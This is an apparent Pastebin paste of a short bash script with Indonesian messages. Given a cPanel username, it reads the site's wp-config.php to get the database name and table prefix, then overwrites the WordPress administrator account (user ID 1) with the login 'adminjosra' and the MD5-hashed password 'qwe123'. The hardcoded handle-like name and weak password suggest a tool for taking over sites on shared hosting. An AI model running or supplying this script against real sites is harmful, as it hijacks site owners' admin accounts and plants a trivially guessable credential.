Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- echo 'Yuk Kita Reset'
- read -p 'masukkan username cpanel :' userpanel
- pwd
- cd /home/$userpanel/
- echo '..::cari letak wp-config.php karakter titik jangan diikutkan::..'
- find -name 'wp-config.php'
- read -p 'masukkan path wp-config: ' path
- echo $path
- cat /home/$userpanel/$path | grep DB_NAME | cut -d \' -f 4 > /home/$userpanel/db.txt
- db=$(cat /home/$userpanel/db.txt)
- cat /home/$userpanel/$path | grep "\$table_prefix" | cut -d \' -f 2 >/home/$userpanel/prefix.txt
- sed -i -e 's/_/_users/g' /home/$userpanel/prefix.txt
- user=$(cat /home/$userpanel/prefix.txt)
- mysql << EOF
- use $db ;
- UPDATE $user SET user_login = 'adminjosra', user_pass = MD5('qwe123') WHERE $user.ID = 1;
- EOF
- echo '..::Sudah berhasil tereset lo::..'
- echo 'nama database :' $db
- echo 'username : adminjosra'
- echo 'password : qwe123'
- echo 'sampai jumpa'
- rm -rf db.txt
- rm -rf prefix.txt
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement